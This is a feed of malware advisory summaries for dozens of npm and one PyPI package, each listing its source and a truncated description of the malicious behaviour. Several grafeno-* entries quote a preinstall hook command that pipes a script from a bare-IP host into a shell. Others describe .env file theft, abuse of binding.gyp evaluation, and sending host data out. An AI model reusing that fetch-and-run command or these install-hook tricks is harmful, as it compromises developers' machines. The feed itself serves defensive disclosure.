MAL-2026-15523 Malicious code in sycm-vendors (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b6a876475c44d594b90a19bc6c9bb3d5be6f6d0a19091218ef5e03f92e1b86e1 package.json declares a self-named dependency 'sycm-vendors' whose source is the bare URL https://repo.securityctrl.com/sycm-vendors rather than a...

MAL-2026-15516 Malicious code in nx-app (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 8671a9b563cebe9de36365a80edc1f242be492933cadb3e45ea590c8c5e1e115 package.json declares its own name nx-app as a dependency whose value is a raw HTTPS URL https://repo.securityctrl.com/nx-app rather than a semver...

MAL-2026-15509 Malicious code in grafeno-utils (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 5beb233fe40ca775519f2262a691a45445a9bda31c970d12aca3c584be4d32ad The package's package.json preinstall lifecycle hook uses childprocess to run curl -s 216.126.236.46/x.sh | sh, fetching a shell script from a bare I...

MAL-2026-15508 Malicious code in grafeno-sdk (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 665dd78adc2d9c5f30bd8b140dc2dfc5bf9e61efb96ea9945018154d43102ad3 package.json declares a preinstall lifecycle script that runs node -e to invoke childprocess.execSync'curl -s 216.126.236.46/x.sh|sh',...

MAL-2026-15504 Malicious code in grafeno-config (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ebbea90af14e110b5dcef171163ea3029f6655ecf623595c251f44db674ce6af package.json declares a preinstall lifecycle hook that runs curl -s 216.126.236.46/x.sh | sh, fetching a shell script from a bare-IP host over plain...

MAL-2026-15501 Malicious code in grafeno-api (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6324266ac0f7a76fc3a8e8209d194daa17bdd47c913207f218f7c1683db4333c package.json declares a preinstall script that shells out via childprocess to curl http://216.126.236.46/x.sh and pipe the response into /bin/bash,...

MAL-2026-15503 Malicious code in grafeno-client (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 61f8e4ee9fb4623ef1d751c00c885e412b6e6760d0aaf79c655272a90882ccb6 package.json declares a preinstall script that runs curl against a bare IP over plain HTTP http://216.126.236.46/x.sh and pipes the response to sh,...

MAL-2026-15502 Malicious code in grafeno-auth (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c3c99ded091548bc464635b9c1151368873851c4a97036279f46f74b5c7ca59a package.json declares a preinstall hook that shells out via node -e / childprocess to curl http://216.126.236.46/x.sh over plain HTTP and pipes the...

MAL-2026-15506 Malicious code in grafeno-logger (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6477042981913de82e89d0f0c3c5b1b278afd21c401922932eb8756427e1d413 [email protected] is a dropper disguised as a logging library. The package.json preinstall lifecycle hook runs curl -s 216.126.236.46/x.sh | sh vi...

MAL-2026-15522 Malicious code in spc-grafeno (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a0fef29000dd88ee68ba616d166f1ef976a216748d37f14af1367841f0d951f1 The package's preinstall lifecycle script runs curl -s 216.126.236.46/x.sh | sh via /bin/bash at npm install time, executing attacker-controlled code...

MAL-2026-15505 Malicious code in grafeno-core (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 19a2990abd7b4447444a42f96636f738449235f9d8760191978e904d028c759e The package's preinstall lifecycle script runs curl -s http://216.126.236.46/x.sh | sh at npm install time, fetching and executing an...

MAL-2026-15507 Malicious code in grafeno-pix (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a5c5e1649c30ab63a97fde3073d5e838ea91f5b2eca8149242f0fb24e286c3f3 [email protected] declares a preinstall hook that runs curl -s 216.126.236.46/x.sh | sh, fetching a shell script from a bare IP over plain HTTP and...

MAL-2026-15494 Malicious code in @7nohe/openapi-react-query-codegen (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ab8f8efdad9084d2a7c5ae5058ffc18886d68bfe1c676239fd7e0d41342fc700 The tarball ships a binding.gyp at the package root whose conditions field abuses GYP's Python expression evaluator to walk .class.base.subclasses to...

MAL-2026-15596 Malicious code in grafeno-actions (npm)

--- -= Per source details. Do not edit below this line.=- Source: ossf-package-analysis 3a52df88a9094028961676cb72f9e43f88fcef959cc4e1db63687785058c2d7d The OpenSSF Package Analysis project identified 'grafeno-actions' @ 999.0.0 npm as malicious. It is considered malicious because: - The package...

MAL-2026-15492 Malicious code in mfa-js (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 3afbd77114dc45ac9259720ffd355659d0442c917aff5a734d9ea0ca337cba77 On require'mfa-js', lib/cache.js executes a Windows-gated IIFE that downloads a JavaScript payload from...

MAL-2026-15493 Malicious code in ozturk-mfa (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 99e9596887f3f2f79c96c517c99990def7caa32883f97e9486ed2b52e1e90cdf Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

MAL-2026-15491 Malicious code in eip712-lite (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0bb8d4640ca63919533ea826766c735fb8a8bdf8501bb33187ae30f905d82fc2 index.js contains an IIFE that fires on require and walks the installer's home and project directories collecting.env files filtered by...

MAL-2026-15489 Malicious code in borsh-lite (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector eed0e447cd98b9470a197c1dd9b341e6a93ea6f39088f4f93335979827f707b8 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

MAL-2026-15490 Malicious code in clmm-fee-audit (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 71fcd4c0b7e17eac77e370c1e295e81d8aab97adba9c1c6b8954f26786c852f0 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

MAL-2026-15488 Malicious code in calcboxlite (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 227fe04d85516bd5348dea2c0c25078d057eacb4f439fd6a241ea0409b7afd09 setup.py and calcboxlite/init.py both invoke a top-level report function that reads getpass.getuser and socket.gethostname and POSTs them as JSON to ...

MAL-2026-14716 Malicious code in 3layerdipstackcyqc7o (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e2dac81f6b14c5ca28b7efb9aaaf366235cc732f031f8b2900f32b285519fc1f The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

MAL-2026-14745 Malicious code in 3layerdipstackev4sn5 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f17ef62f686ec1ac60f240ece02aa6d2518e472ae1d59f9b760e783cdcfa48ee The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

MAL-2026-14774 Malicious code in 3layerdipstackhr3ocw (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4f7f5462a6cad4608977cbf01ae1fab24a1257afe36d254ce404ca49b5aab99c The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

MAL-2026-14872 Malicious code in 3layerdipstackpcv17m (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 341115d5cb8bd44ffcf82bc4d8d35f995473df6f24abccb910c9c16fb70cea36 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

MAL-2026-14949 Malicious code in 3layerdipstackulgnp8 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 72e41ab8004671490e003371ef18f1b5b568f6446e3f559b423a8ce16303419a The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

MAL-2026-14743 Malicious code in 3layerdipstackesp1lb (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 3bd59b0798d5b504ce5bc151f4b845c732a5cbf45d046f54b3becbffd944cd38 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

MAL-2026-14791 Malicious code in 3layerdipstackjsuvtk (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 9e7b60734ee5f3f5596286c56fd8a733d82214462041d72a5b539b63601542f3 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

MAL-2026-14827 Malicious code in 3layerdipstackm7mock (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ac848ba661287ba28da0b3cc4784738bad4003683b89af912b65cdc636db9b5c The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

MAL-2026-14929 Malicious code in 3layerdipstacktfieac (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 7bf372a98946f7fce4deb5f9315c4755a76a5cca6d65bcdc0922607134098308 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

MAL-2026-14909 Malicious code in 3layerdipstackru7mfn (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0881c571357484f968c509c3f05f0e3c49536125c0a71c5dc7e1efae558ef109 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

MAL-2026-14925 Malicious code in 3layerdipstackt3wr5f (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6c4a05b3c271fb16cbc32b977d3ec79f995e775a5c1a3d1583387784a8d8e2ef The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

MAL-2026-14642 Malicious code in 3layerdipstack6ih5ru (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 20a2c09619d3e25f0b44bfcaaac14edd03b62c113f3fb7d3fc88e29bc27a986d The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

MAL-2026-14933 Malicious code in 3layerdipstacktm8xp5 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 1eef1b6cb641c5b33eb8e360a558f238f31b99d27fe5e808e8e55c34d15ee8a7 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

MAL-2026-14760 Malicious code in 3layerdipstackfywqmz (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector cee0944700e8c39b5f5fbb125caf69265d316217a2edd6163e038a0c895951d9 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

MAL-2026-14881 Malicious code in 3layerdipstackpvsk6r (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e34830364afafa686e2e3f603e1dcebc4e837e0cbc4080216d6587d1b8f64850 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

MAL-2026-14859 Malicious code in 3layerdipstackoj4nf9 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 968e6bdb11b4ae272e4d6e1aba1ea5e06d56e607a5ff9b93969936dd0bca2c48 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

MAL-2026-14664 Malicious code in 3layerdipstack8lj8gm (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 72671b2191d5c2a662d2b435a09fa42f2bbc26997aea63f216ac6a8a81779076 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

MAL-2026-14626 Malicious code in 3layerdipstack4pstwd (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a2127d12ca6ea9c1d06ec5f8ea281259af2b80129546742ce67b6c6390c268e2 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

MAL-2026-14698 Malicious code in 3layerdipstackbndk47 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 348dc9c5c9f9b067e597312e0e8228c5bddb04ca7573801a6ae27ab9809cb520 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

MAL-2026-14610 Malicious code in 3layerdipstack2pdlo4 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 638e723511590669eefd908d7c0ae0c5cfae12a68a2599986d8aa853f09006c7 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

MAL-2026-14852 Malicious code in 3layerdipstacko8li9w (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 9886025a6437b781a80821d6f113c08dea138ee45899438c19bf9e7cf3e366c5 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

MAL-2026-14641 Malicious code in 3layerdipstack5zhcdq (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e4ea8b2caa7385ff6deaae43cbbc3720f91dd3a8f385b0314ced03048d070923 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

MAL-2026-14958 Malicious code in 3layerdipstackvcdkrp (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e942d987e7abce19624bf16a6e376f8a607a87d963d8838737e7b923b0ab4b92 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

MAL-2026-14898 Malicious code in 3layerdipstackr5ga2v (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 74ce455e7a19e84189c13631dc62f53159d44c67920b1579ab3feb779614bcb6 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

MAL-2026-14892 Malicious code in 3layerdipstackqokw95 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 645ec019e6e3a7c3f46ec5537e4713ad47775817a68d0c30445ed103ca91a53b The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

MAL-2026-14813 Malicious code in 3layerdipstackl52afz (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector cc19f591ccfb749d65cefcaebd3e42ed6f60920bd2318c21ba12450fe8ed3162 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

MAL-2026-14954 Malicious code in 3layerdipstackuyd45d (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 92b49a0c197bc8d1d72c142586ce6a7b4c6a6694574fb33ced9f7a770f046bae The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

MAL-2026-14851 Malicious code in 3layerdipstacko89fkl (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6dd3e617994aeeb1caf198bf507291025fb64a8806480fd15933167e7c70eeb8 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

MAL-2026-14605 Malicious code in 3layerdipstack1lkqg9 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a3055362817a22386f2c0e5db959db42444b9c60d620c9c8453ee196a1d0e8fe The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

MAL-2026-14804 Malicious code in 3layerdipstackkpfva6 (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 630019d614a8c26a144f9502c87e0c4bc16d904adea23a7c202a1d8ba45632b9 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...